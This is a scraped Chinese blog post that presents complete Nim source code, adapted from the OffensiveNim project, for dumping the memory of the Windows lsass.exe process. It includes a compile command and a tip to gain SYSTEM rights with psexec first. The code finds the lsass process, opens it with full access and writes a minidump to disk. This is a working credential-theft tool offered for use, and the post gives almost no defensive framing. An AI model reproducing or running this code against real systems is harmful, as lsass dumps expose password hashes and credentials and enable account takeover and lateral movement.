zoukankan      html  css  js  c++  java
  • dump lsass(nim 学习系列)

    dump lsass(nim 学习系列)

    可以先使用 psexec 获取 system 权限在导出。

    nim compile -d:release --opt:size dumpLsass.nim

    #[
        Author: StudyCat
        Blog: https://www.cnblogs.com/studycat
        Github: https://github.com/StudyCat404/myNimExamples
        License: BSD 3-Clause
        Referer: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/minidump_bin.nim
    ]#
    
    import winim
    
    proc toString(chars: openArray[WCHAR]): string =
        result = ""
        for c in chars:
            if cast[char](c) == '':
                break
            result.add(cast[char](c))
    
    proc GetLsassPid(): int =
        var 
            entry: PROCESSENTRY32
            hSnapshot: HANDLE
    
        entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32))
        hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
        defer: CloseHandle(hSnapshot)
    
        if Process32First(hSnapshot, addr entry):
            while Process32Next(hSnapshot, addr entry):
                if entry.szExeFile.toString == "lsass.exe":
                    return int(entry.th32ProcessID)
    
        return 0
    
    when isMainModule:
        let processId: int = GetLsassPid()
        if not bool(processId):
            echo "[X] Unable to find lsass process"
            quit(1)
    
        echo "[*] lsass PID: ", processId
    
        var hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, cast[DWORD](processId))
        if not bool(hProcess):
            echo "[X] Unable to open handle to process"
            quit(1)
    
        try:
            var fs = open(r"C:UsersdellDesktop	estlsass.dump", fmWrite)
            echo "[*] Creating memory dump, please wait..."
            var success = MiniDumpWriteDump(
                hProcess,
                cast[DWORD](processId),
                fs.getOsFileHandle(),
                0x00000002,
                nil,
                nil,
                nil
            )
            echo "[*] Dump successful: ", bool(success)
            fs.close()
        finally:
            CloseHandle(hProcess)
    

    截图

  • 相关阅读:
    Tor网络突破IP封锁,爬虫好搭档【入门手册】
    ubuntu python3相关
    toutiao url
    处理跨域请求
    Python使用虚拟环境
    Python删除文件,空文件夹,非空文件夹
    如何在jupyter中使用Python2和Python3
    推荐使用国内的豆瓣源安装Python插件
    Python数据库查询之组合条件查询-F&Q查询
    获取Django项目的全部url
  • 原文地址:https://www.cnblogs.com/StudyCat/p/14461337.html
Copyright © 2011-2022 走看看